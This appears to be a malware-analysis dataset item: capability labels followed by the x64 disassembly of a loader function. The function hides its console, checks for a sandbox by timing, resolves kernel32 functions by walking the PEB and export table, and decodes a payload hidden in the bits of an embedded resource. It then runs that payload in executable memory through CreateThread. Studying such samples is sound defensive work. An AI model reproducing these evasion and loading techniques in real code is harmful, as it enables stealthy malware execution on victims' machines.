Function at 0x140008190
Capabilities:
Access peb ldr_data
Extract resource via kernel32 functions
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x338
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x2a0], xmm6
mov qword [rbp + 0x298], 0xfffffffffffffffe
stmxcsr dword [rbp - 0x50]
or dword [rbp - 0x50], 0x8040
ldmxcsr dword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14001e660
mov rsi, rax
call fcn.14001e644
cmp rsi, 0x989680
jne 0x1400081f9
imul rsi, rax, 0x64
jmp 0x14000823d
mov rcx, rax
or rcx, rsi
shr rcx, 0x20
je 0x14000820c
cqo
idiv rsi
jmp 0x140008210
xor edx, edx
div esi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x140008234
cqo
idiv rsi
mov rsi, rax
jmp 0x14000823a
xor edx, edx
div esi
mov esi, eax
add rsi, rcx
call fcn.14001e660
mov rdi, rax
call fcn.14001e644
cmp rdi, 0x989680
jne 0x140008259
imul rax, rax, 0x64
jmp 0x140008298
mov rcx, rax
or rcx, rdi
shr rcx, 0x20
je 0x14000826c
cqo
idiv rdi
jmp 0x140008270
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x140008291
cqo
idiv rdi
jmp 0x140008295
xor edx, edx
div edi
add rax, rcx
lea rcx, [rax + 0x5f5e100]
movabs rdx, 0x7ffffffffa0a1eff
cmp rax, rdx
movabs rbx, 0x7fffffffffffffff
cmovl rbx, rcx
movabs r14, 0x311cdad160000
movabs r15, 0x112e0be826d694b3
lea r12, [rbp - 0x50]
nop word cs:[rax + rax]
call fcn.14001e660
mov rdi, rax
call fcn.14001e644
cmp rdi, 0x989680
jne 0x140008300
imul rax, rax, 0x64
jmp 0x14000833f
mov rcx, rax
or rcx, rdi
shr rcx, 0x20
je 0x140008313
cqo
idiv rdi
jmp 0x140008317
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x140008338
cqo
idiv rdi
jmp 0x14000833c
xor edx, edx
div edi
add rax, rcx
mov rdi, rbx
sub rdi, rax
jle 0x14000838a
call fcn.14001e614
imul rax, rax, 0x64
cmp rdi, r14
cmovge rdi, r14
add rdi, rax
mov rax, rdi
imul r15
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x1a
add rdx, rax
mov qword [rbp - 0x50], rdx
imul eax, edx, 0xc4653600
add edi, eax
mov dword [rbp - 0x48], edi
mov rcx, r12
call fcn.14001e68c
jmp 0x1400082e0
call fcn.14001e660
mov rdi, rax
call fcn.14001e644
cmp rdi, 0x989680
jne 0x1400083a6
imul rax, rax, 0x64
jmp 0x1400083e5
mov rcx, rax
or rcx, rdi
shr rcx, 0x20
je 0x1400083b9
cqo
idiv rdi
jmp 0x1400083bd
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x1400083de
cqo
idiv rdi
jmp 0x1400083e2
xor edx, edx
div edi
add rax, rcx
sub rax, rsi
movabs rcx, 0x431bde82d7b634db
imul rcx
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x12
add rdx, rax
cmp rdx, 0x63
jg 0x140008471
mov rax, qword [0x140064540]
lea rbx, [0x140064540]
movsxd rdx, dword [rax + 4]
mov r8, qword [rdx + rbx + 0x28]
mov rcx, qword [rdx + rbx + 0x48]
lea rdi, [r8 - 0x29]
xor esi, esi
cmp r8, 0x2a
cmovge rsi, rdi
mov qword [rbp + 0x240], rbx
test rcx, rcx
je 0x140008450
mov rax, qword [rcx]
call qword [rax + 8]
mov rax, qword [0x140064540]
movsxd rdx, dword [rax + 4]
cmp dword [rdx + rbx + 0x10], 0
je 0x14000854f
mov byte [rbp + 0x248], 0
mov dword [rbp + 0x288], 4
jmp 0x140008a4d
mov qword [rbp - 0x50], 0
push rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x50], rax
pop rax
mov rdi, qword [rbp - 0x50]
movsxd rax, dword [rdi + 0x3c]
mov eax, dword [rdi + rax + 0x88]
mov ecx, dword [rdi + rax + 0x14]
mov qword [rbp + 0x268], rcx
test rcx, rcx
je 0x140008597
mov ecx, dword [rdi + rax + 0x1c]
add rcx, rdi
mov qword [rbp + 0x288], rcx
mov r15d, dword [rdi + rax + 0x20]
add r15, rdi
mov r13d, dword [rdi + rax + 0x24]
add r13, rdi
mov ebx, dword [rax + rdi + 0x18]
xor r12d, r12d
lea rsi, [0x140059aec]
jmp 0x140008500
inc r12
cmp r12, qword [rbp + 0x268]
je 0x140008597
mov rax, qword [rbp + 0x288]
mov eax, dword [rax + r12*4]
mov qword [rbp + 0x280], rax
test rax, rax
je 0x1400084f0
test ebx, ebx
je 0x1400084f0
xor r14d, r14d
jmp 0x140008528
inc r14
cmp rbx, r14
je 0x1400084f0
movzx eax, word [r13 + r14*2]
cmp r12, rax
jne 0x140008520
mov ecx, dword [r15 + r14*4]
add rcx, rdi
mov rdx, rsi
call fcn.14002d840
test eax, eax
jne 0x140008520
add rdi, qword [rbp + 0x280]
jmp 0x140008597
mov rcx, qword [rdx + rbx + 0x50]
test rcx, rcx
je 0x1400088cf
cmp rcx, rbx
je 0x1400088cf
call fcn.140009b60
mov rax, qword [0x140064540]
movsxd rcx, dword [rax + 4]
cmp dword [rcx + rbx + 0x10], 0
sete byte [rbp + 0x248]
mov dword [rbp + 0x288], 4
jne 0x140008a4d
jmp 0x1400088d6
mov qword [rbp - 0x50], 0
push rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x50], rax
pop rax
mov rsi, qword [rbp - 0x50]
lea rdx, str.VirtualAlloc
mov rcx, rsi
call rdi
mov r15, rax
lea rdx, str.VirtualProtect
mov rcx, rsi
call rdi
lea rdx, str.CreateThread
mov rcx, rsi
call rdi
mov r14, rax
lea rdx, str.WaitForSingleObject
mov rcx, rsi
call rdi
mov rbx, rax
lea rdx, str.EnumSystemCodePageA
mov rcx, rsi
call rdi
lea rdx, str.CreateFileA
mov rcx, rsi
call rdi
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], 0
mov dword [rbp + 0x238], 0
mov dword [rbp + 0x23c], 0
lea r8, [0x14005a45b]
mov edx, 0x67
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x1400088ab
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400088bd
mov rdi, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x140008965
mov ecx, esi
mov qword [rbp + 0x210], 0
mov qword [rsp + 0x20], rcx
lea r13, [rbp + 0x210]
lea rdx, [rbp + 0x238]
lea r8, [rbp + 0x23c]
mov rcx, r13
mov r9, rax
call fcn.14000ffb0
mov rsi, qword [rbp + 0x210]
xor ecx, ecx
mov qword [rbp + 0x270], rcx
test rsi, rsi
je 0x140008dd2
mov r12d, 0
test eax, eax
jne 0x140008e3e
mov qword [rbp - 0x18], 1
mov qword [rbp - 0x10], 0x1000000
mov qword [rbp - 8], 0x1000000
movabs rax, 0x100000000
mov qword [rbp - 0x20], rax
xorps xmm6, xmm6
movaps xmmword [rbp - 0x50], xmm6
movaps xmmword [rbp - 0x40], xmm6
movaps xmmword [rbp - 0x30], xmm6
movaps xmm0, xmmword [0x1400555f0]
movaps xmmword [rbp], xmm0
movabs rax, 0x100000080
mov qword [rbp + 0x10], rax
movups xmmword [rbp + 0x18], xmm6
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x38], 5
movabs rax, 0x100000001
mov qword [rbp + 0x30], rax
movaps xmmword [rbp + 0x40], xmm6
mov dword [rbp + 0x50], 1
movaps xmmword [rbp + 0x70], xmm6
movabs rax, 0x800000006
mov qword [rbp + 0x58], rax
movaps xmmword [rbp + 0x60], xmm6
movups xmmword [rbp + 0xa8], xmm6
mov qword [rbp + 0x90], rax
movups xmmword [rbp + 0x98], xmm6
mov dword [rbp + 0x88], 0
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x124], 0
mov dword [rbp + 0x134], 0
mov dword [rbp + 0x13c], 0
mov dword [rbp + 0x160], 0
mov dword [rbp + 0x168], 0
movups xmmword [rbp + 0xb8], xmm6
movups xmmword [rbp + 0xc8], xmm6
movups xmmword [rbp + 0xd8], xmm6
movups xmmword [rbp + 0xe8], xmm6
movups xmmword [rbp + 0xf8], xmm6
mov dword [rbp + 0x108], 0
movaps xmmword [rbp + 0x170], xmm6
movups xmmword [rbp + 0x184], xmm6
mov dword [rbp + 0x194], 0
movups xmmword [rbp + 0x198], xmm6
movups xmmword [rbp + 0x1a8], xmm6
movups xmmword [rbp + 0x1b8], xmm6
mov dword [rbp + 0x1c8], 1
movabs rax, 0x800000002
mov qword [rbp + 0x58], rax
mov eax, dword [rbp + 0x23c]
mov ecx, dword [rbp + 0x238]
imul rcx, rax
mov rax, rcx
shr rax, 3
lea rax, [rax + rax*2]
shl rax, 3
and ecx, 7
lea rdi, [rcx + rcx*2]
add rdi, rax
je 0x140008dd7
js 0x1400094da
mov rcx, rdi
cmp rdi, 0x1000
jb 0x140008de5
add rcx, 0x27
call fcn.14001e844
mov r12, rax
add r12, 0x27
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x140008ded
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.FindResourceW_Failed_With_Error_:__d__n
jmp 0x140008972
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.LoadResource_Failed_With_Error_:__d__n
jmp 0x140008972
mov byte [rbp + 0x248], 1
movsxd rax, dword [rax + 4]
mov ecx, 0x1c0
lea rdx, [0x140064540]
and ecx, dword [rax + rdx + 0x18]
cmp ecx, 0x40
mov r11, rdx
je 0x140008990
test rsi, rsi
jne 0x14000891d
jmp 0x140008990
dec r10d
mov dword [r9], r10d
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], al
lea rax, [rdi - 1]
cmp rdi, 1
mov rdi, rax
jle 0x140008983
mov rax, qword [0x140064540]
movsxd rax, dword [rax + 4]
mov rcx, qword [rax + r11 + 0x48]
movzx eax, byte [rax + r11 + 0x58]
mov rdx, qword [rcx + 0x40]
mov r8, qword [rdx]
test r8, r8
je 0x14000894b
mov r9, qword [rcx + 0x58]
mov r10d, dword [r9]
test r10d, r10d
jg 0x140008900
movzx edx, al
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0xffffffff
lea r11, [0x140064540]
jne 0x140008910
jmp 0x140008a20
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.LockResource_Failed_With_Error_:__d__n
mov edx, eax
call fcn.14000a640
mov esi, 0xffffffff
jmp 0x140008db5
mov rax, qword [0x140064540]
movsxd rax, dword [rax + 4]
xor esi, esi
mov rcx, qword [rax + r11 + 0x48]
mov rax, qword [rcx]
lea rdx, str.This_Program_is_running_in_the_sandbox...
mov r8d, 0x29
call qword [rax + 0x48]
cmp rax, 0x29
jne 0x140008a27
test rsi, rsi
lea r11, [0x140064540]
jne 0x1400089dd
xor eax, eax
jmp 0x140008a33
dec r10d
mov dword [r9], r10d
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], al
lea rax, [rsi - 1]
cmp rsi, 1
mov rsi, rax
jbe 0x1400089ba
mov rax, qword [0x140064540]
movsxd rax, dword [rax + 4]
mov rcx, qword [rax + r11 + 0x48]
movzx eax, byte [rax + r11 + 0x58]
mov rdx, qword [rcx + 0x40]
mov r8, qword [rdx]
test r8, r8
je 0x140008a0b
mov r9, qword [rcx + 0x58]
mov r10d, dword [r9]
test r10d, r10d
jg 0x1400089c0
movzx edx, al
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0xffffffff
lea r11, [0x140064540]
jne 0x1400089d0
mov eax, 4
jmp 0x140008a33
mov eax, 4
lea r11, [0x140064540]
mov dword [rbp + 0x288], eax
mov rax, qword [0x140064540]
movsxd rax, dword [rax + 4]
mov qword [rax + r11 + 0x28], 0
mov rax, qword [0x140064540]
movsxd rax, dword [rax + 4]
lea r14, [0x140064540]
mov edx, dword [rbp + 0x288]
or edx, dword [rax + r14 + 0x10]
xor ecx, ecx
cmp qword [rax + r14 + 0x48], 0
sete cl
shl ecx, 2
and edx, 0x17
or edx, ecx
mov dword [rax + r14 + 0x10], edx
and edx, dword [rax + r14 + 0x14]
jne 0x140009407
lea rcx, [rbp + 0x240]
call fcn.14000a3c0
mov rax, qword [0x140064540]
movsxd rax, dword [rax + 4]
mov rax, qword [rax + r14 + 0x40]
mov rbx, qword [rax + 8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
lea rcx, [rbp + 0x210]
xor edx, edx
call fcn.14001bda0
mov rsi, qword [0x140066620]
mov rdi, qword [0x1400644d8]
test rdi, rdi
jne 0x140008b13
lea rcx, [rbp - 0x50]
xor edx, edx
call fcn.14001bda0
cmp qword [0x1400644d8], 0
jne 0x140008b03
movsxd rax, dword [0x1400644c0]
inc rax
mov dword [0x1400644c0], eax
mov qword [0x1400644d8], rax
lea rcx, [rbp - 0x50]
call fcn.14001bddc
mov rdi, qword [0x1400644d8]
cmp qword [rbx + 0x18], rdi
mov qword [rbp + 0x288], rbx
jbe 0x140008b31
mov rax, qword [rbx + 0x10]
mov r15, qword [rax + rdi*8]
test r15, r15
jne 0x140008c37
cmp byte [rbx + 0x24], 0
je 0x140008b53
call fcn.14001c2a8
cmp qword [rax + 0x18], rdi
jbe 0x140008b53
mov rax, qword [rax + 0x10]
mov r15, qword [rax + rdi*8]
test r15, r15
jne 0x140008c37
mov r15, rsi
test rsi, rsi
jne 0x140008c37
mov ecx, 0x30
call fcn.14001e844
mov qword [rbp + 0x280], rax
mov rcx, qword [rbp + 0x288]
mov rax, qword [rcx + 0x28]
lea rsi, [rcx + 0x30]
test rax, rax
cmovne rsi, rax
lea rdi, [rbp - 0x50]
mov rcx, rdi
xor edx, edx
call fcn.14001bda0
mov qword [rbp - 0x48], 0
mov byte [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov byte [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov word [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov word [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov byte [rbp], 0
mov qword [rbp + 8], 0
mov byte [rbp + 0x10], 0
mov rcx, rdi
mov rdx, rsi
call fcn.14001bec8
mov rsi, qword [rbp + 0x280]
mov dword [rsi + 8], 0
lea rax, vtable.std::ctype_char_.0
mov qword [rsi], rax
mov rcx, rsi
add rcx, 0x10
call fcn.14001e430
lea rcx, [rbp - 0x50]
call fcn.14000a560
mov rcx, rsi
call fcn.14001be90
mov r15, qword [rbp + 0x280]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 8]
mov qword [0x140066620], r15
lea rcx, [rbp + 0x210]
call fcn.14001bddc
mov rax, qword [r15]
mov rcx, r15
mov dl, 0xa
call qword [rax + 0x40]
mov ebx, eax
mov rcx, qword [rbp + 0x288]
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140008c70
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov qword [rbp + 0x240], r14
mov rax, qword [0x140064540]
movsxd rdx, dword [rax + 4]
mov rcx, qword [rdx + r14 + 0x48]
test rcx, rcx
je 0x140008c9d
mov rax, qword [rcx]
call qword [rax + 8]
mov rax, qword [0x140064540]
movsxd rdx, dword [rax + 4]
cmp dword [rdx + r14 + 0x10], 0
je 0x140008cbb
mov byte [rbp + 0x248], 0
mov dword [rbp + 0x288], 4
jmp 0x140008d58
mov rcx, qword [rdx + r14 + 0x50]
test rcx, rcx
je 0x140008cfb
cmp rcx, r14
je 0x140008cfb
call fcn.140009b60
mov rax, qword [0x140064540]
movsxd rcx, dword [rax + 4]
lea rdx, [0x140064540]
cmp dword [rcx + rdx + 0x10], 0
sete byte [rbp + 0x248]
mov dword [rbp + 0x288], 4
jne 0x140008d58
jmp 0x140008d02
mov byte [rbp + 0x248], 1
movsxd rax, dword [rax + 4]
lea rcx, [0x140064540]
mov rcx, qword [rax + rcx + 0x48]
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140008d3e
mov r8, qword [rcx + 0x58]
mov r9d, dword [r8]
test r9d, r9d
jle 0x140008d3e
dec r9d
mov dword [r8], r9d
lea rcx, [rdx + 1]
mov qword [rax], rcx
mov byte [rdx], bl
movzx eax, bl
jmp 0x140008d47
movzx edx, bl
mov rax, qword [rcx]
call qword [rax + 0x18]
xor ecx, ecx
cmp eax, 0xffffffff
sete cl
shl ecx, 2
mov dword [rbp + 0x288], ecx
mov rax, qword [0x140064540]
movsxd rcx, dword [rax + 4]
lea r8, [0x140064540]
mov eax, dword [rcx + r8 + 0x10]
xor edx, edx
cmp qword [rcx + r8 + 0x48], 0
sete dl
shl edx, 2
and eax, 0x17
or eax, dword [rbp + 0x288]
or eax, edx
mov dword [rcx + r8 + 0x10], eax
and eax, dword [rcx + r8 + 0x14]
jne 0x14000945d
lea rcx, [rbp + 0x240]
call fcn.14000a3c0
lea rcx, [0x140064540]
call fcn.140009b60
mov esi, 1
mov eax, esi
movaps xmm6, xmmword [rbp + 0x2a0]
add rsp, 0x338
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor r12d, r12d
jmp 0x140008e3e
xor r12d, r12d
xor eax, eax
mov qword [rbp + 0x270], rax
jmp 0x140008e2b
call fcn.14001e844
mov r12, rax
mov rcx, r12
mov rdx, rsi
mov r8, rdi
call fcn.140021210
mov rcx, qword [rbp + 0x60]
mov qword [rbp + 0x1f0], r12
add rdi, r12
mov qword [rbp + 0x1f8], rdi
mov rax, rdi
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x200], rdi
test rcx, rcx
je 0x140008e2b
call fcn.14002c73c
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0x80]
movups xmmword [rax], xmm6
call fcn.14000af10
mov rcx, rsi
call fcn.14002c73c
mov byte [rbp + 0x297], 0
xorps xmm6, xmm6
movups xmmword [rbp - 0x38], xmm6
movups xmmword [rbp - 0x48], xmm6
mov ecx, 0x10
call fcn.14001e844
mov qword [rax + 8], 0
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
mov dword [rbp + 0x240], 0xcb59005f
movups xmmword [rbp + 0x218], xmm6
movups xmmword [rbp + 0x228], xmm6
mov ecx, 0x10
call fcn.14001e844
mov qword [rax], r13
mov qword [rax + 8], 0
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x210], rax
lea rsi, [rbp + 0x240]
mov rcx, r13
mov rdx, rsi
call fcn.140007c10
lea rdx, [rbp + 0x241]
lea rcx, [rbp + 0x210]
call fcn.140007c10
lea rdx, [rbp + 0x242]
lea rcx, [rbp + 0x210]
call fcn.140007c10
lea rdx, [rbp + 0x243]
lea rcx, [rbp + 0x210]
call fcn.140007c10
mov dword [rbp + 0x27c], 0x5f67d37e
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
movups xmmword [rbp + 0x258], xmm0
mov ecx, 0x10
call fcn.14001e844
mov qword [rax], rsi
mov qword [rax + 8], 0
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x240], rax
lea rdx, [rbp + 0x27c]
mov rcx, rsi
call fcn.140007c10
lea rdx, [rbp + 0x27d]
lea rcx, [rbp + 0x240]
call fcn.140007c10
lea rdx, [rbp + 0x27e]
lea rcx, [rbp + 0x240]
call fcn.140007c10
lea rdx, [rbp + 0x27f]
lea rcx, [rbp + 0x240]
call fcn.140007c10
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1d8], rbx
mov r14, qword [rbp + 0x270]
cmp r12, r14
mov qword [rbp + 0x288], r12
je 0x14000919a
lea rdi, [rbp - 0x50]
xor eax, eax
xor r13d, r13d
xor ebx, ebx
mov r15, r12
jmp 0x140008fe9
xor eax, eax
mov rcx, qword [rbp + 0x268]
movzx edx, byte [r15]
and dl, 1
shl dl, cl
or al, dl
mov byte [rbp + 0x297], al
inc rbx
inc r15
cmp r15, r14
je 0x14000919d
mov rcx, rbx
and rcx, 7
jne 0x140008fc9
mov qword [rbp + 0x268], rcx
mov rcx, rdi
lea rdx, [rbp + 0x297]
call fcn.140007c10
mov byte [rbp + 0x297], 0
mov rsi, qword [rbp - 0x30]
cmp rsi, 5
jb 0x140008fc0
mov rdx, qword [rbp - 0x38]
dec rsi
mov qword [rbp - 0x30], rsi
inc rdx
mov qword [rbp - 0x38], rdx
cmp rsi, qword [rbp + 0x230]
jne 0x1400090f1
mov qword [rbp + 0x208], r13
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x280], rax
mov r13, qword [rbp + 0x228]
mov r9, qword [rbp + 0x220]
movabs rax, 0xfffffffffffffff
add r9, rax
mov r10, qword [rbp - 0x40]
add r10, rax
mov r11, qword [rbp - 0x48]
mov rax, rsi
mov r12, rdx
nop dword [rax]
mov r8, r13
shr r8, 4
and r8, r9
mov r14d, r13d
and r14d, 0xf
mov rcx, qword [rbp + 0x280]
mov r8, qword [rcx + r8*8]
mov rcx, r12
shr rcx, 4
and rcx, r10
mov edi, r12d
and edi, 0xf
mov rcx, qword [r11 + rcx*8]
movzx ecx, byte [rcx + rdi]
cmp cl, byte [r8 + r14]
jne 0x1400090d8
inc r12
inc r13
dec rax
jne 0x140009080
mov r13, rbx
mov r14, qword [rbp + 0x270]
mov r12, qword [rbp + 0x288]
jmp 0x1400090ed
mov r14, qword [rbp + 0x270]
mov r12, qword [rbp + 0x288]
mov r13, qword [rbp + 0x208]
lea rdi, [rbp - 0x50]
cmp rsi, qword [rbp + 0x260]
jne 0x140008fc0
mov rax, qword [rbp + 0x248]
mov r8, qword [rbp + 0x258]
mov r9, qword [rbp + 0x250]
movabs rcx, 0xfffffffffffffff
add r9, rcx
mov r10, qword [rbp - 0x40]
add r10, rcx
mov r11, qword [rbp - 0x48]
nop dword [rax + rax]
mov rcx, r8
shr rcx, 4
and rcx, r9
mov edi, r8d
and edi, 0xf
mov rcx, qword [rax + rcx*8]
mov r14, rdx
shr r14, 4
and r14, r10
mov r12d, edx
and r12d, 0xf
mov r14, qword [r11 + r14*8]
movzx r14d, byte [r14 + r12]
cmp r14b, byte [rcx + rdi]
jne 0x140009171
inc rdx
inc r8
dec rsi
jne 0x140009130
jmp 0x14000918a
xor eax, eax
mov r14, qword [rbp + 0x270]
mov r12, qword [rbp + 0x288]
lea rdi, [rbp - 0x50]
jmp 0x140008fc2
mov r14, qword [rbp + 0x270]
mov r12, qword [rbp + 0x288]
jmp 0x14000919f
xor r13d, r13d
xor ebx, ebx
sub rbx, r13
lea rcx, [rbp + 0x240]
call fcn.140007f10
lea rcx, [rbp + 0x210]
call fcn.140007f10
lea rcx, [rbp - 0x50]
call fcn.140007f10
movabs rax, 0x7ffffffe0
add rax, rbx
shr rax, 3
mov esi, eax
mov rcx, rsi
call fcn.14002d298
mov qword [rbp + 0x268], rax
mov ecx, 1
mov qword [rbp + 0x208], rsi
mov rdx, rsi
call fcn.14002b838
cmp r12, r14
je 0x140009351
mov rsi, rax
xor r13d, r13d
xor eax, eax
xor edx, edx
mov dword [rbp + 0x280], 0
xor r15d, r15d
xor r12d, r12d
xor edi, edi
jmp 0x140009260
mov r12b, 1
xor edx, edx
mov r15b, 1
nop dword [rax + rax]
xor eax, eax
mov r9, qword [rbp + 0x288]
movzx r8d, byte [r9 + r13]
and r8b, 1
and bl, 7
mov ecx, ebx
shl r8b, cl
or al, r8b
lea rcx, [r9 + r13]
inc rcx
inc r13
cmp rcx, r14
je 0x140009351
mov rbx, r13
sub rbx, rdi
test bl, 7
jne 0x140009232
test dl, dl
je 0x14000929a
mov rcx, rbx
shr rcx, 3
mov byte [rsi + rcx - 1], al
add rcx, rsi
add rcx, 0xfffffffffffffffc
lea rdx, [0x140055660]
call fcn.140021c48
test rax, rax
jne 0x140009337
mov dl, 1
jmp 0x140009230
test r12b, r12b
je 0x1400092de
test r15b, r15b
setne cl
mov edx, r15d
or dl, al
je 0x140009220
mov edx, dword [rbp + 0x280]
test dl, dl
setne r8b
test r15b, r15b
je 0x1400092f9
test dl, dl
jne 0x1400092f9
cmp al, 0x59
jne 0x1400092f9
xor edx, edx
mov r12b, 1
mov r15b, 1
mov al, 1
mov dword [rbp + 0x280], eax
jmp 0x140009230
cmp al, 0x5f
jne 0x1400092ec
mov r12b, 1
xor edx, edx
jmp 0x140009230
cmp byte [rbp + 0x280], 0
setne r8b
xor ecx, ecx
and r8b, cl
cmp al, 0xcb
sete dl
xor eax, eax
and dl, r8b
cmovne rdi, r13
movzx r12d, r12b
cmove r12d, eax
movzx r15d, r15b
cmove r15d, eax
mov ecx, dword [rbp + 0x280]
movzx ecx, cl
cmove ecx, eax
mov dword [rbp + 0x280], ecx
mov rbx, r13
sub rbx, rdi
jmp 0x140009232
add rbx, 0xffffffffffffffe0
shr rbx, 3
mov rcx, qword [rbp + 0x268]
mov rdx, rsi
mov r8, rbx
call fcn.1400154e0
xor ecx, ecx
mov r15, qword [rbp + 0x208]
mov rdx, r15
mov r8d, 0x1000
mov r9d, 0x40
call qword [rbp + 0x1e8]
mov rdi, qword [rbp + 0x1d8]
mov rbx, qword [rbp + 0x1e0]
mov r14, qword [rbp + 0x288]
mov rsi, rax
mov rcx, rax
mov rdx, qword [rbp + 0x268]
mov r8, r15
call fcn.1400154e0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rsi
xor r9d, r9d
call rbx
mov rcx, rax
mov edx, 0xffffffff
call rdi
xor esi, esi
test r14, r14
je 0x140008db5
mov rdx, qword [rbp + 0x270]
sub rdx, r14
cmp rdx, 0x1000
jb 0x1400093fa
mov rax, qword [r14 - 8]
add r14, 0xfffffffffffffff8
sub r14, rax
cmp r14, 0x20
jae 0x1400094df
add rdx, 0x27
mov r14, rax
mov rcx, r14
call fcn.14001e888
jmp 0x140008db5
test dl, 2
lea rax, [0x140059a88]
lea rcx, [0x140059a72]
cmove rcx, rax
test dl, 4
lea rsi, [0x140059a9d]
cmove rsi, rcx
lea rdi, [rbp + 0x210]
mov rcx, rdi
mov edx, 1
call fcn.140009e70
lea rcx, [rbp - 0x50]
mov rdx, rsi
mov r8, rdi
call fcn.140009ef0
lea rdx, [0x140061518]
lea rcx, [rbp - 0x50]
call fcn.14001ff10
test al, 2
lea rcx, [0x140059a88]
lea rdx, [0x140059a72]
cmove rdx, rcx
test al, 4
lea rsi, [0x140059a9d]
cmove rsi, rdx
mov eax, dword [0x140066618]
mov ecx, dword [0x140064b74]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1400094e4
mov dword [rbp + 0x210], 1
lea rax, [0x140063e48]
mov qword [rbp + 0x218], rax
lea rcx, [rbp - 0x50]
lea r8, [rbp + 0x210]
mov rdx, rsi
call fcn.140009ef0
lea rdx, [0x140061518]
lea rcx, [rbp - 0x50]
call fcn.14001ff10
call fcn.140015390
call fcn.14002b074
lea rcx, [0x140066618]
call fcn.14001e98c
cmp dword [0x140066618], 0xffffffff
jne 0x14000949f
lea rcx, [0x14000a630]
call fcn.14001eb24
lea rcx, [0x140066618]
call fcn.14001e9f4
jmp 0x14000949f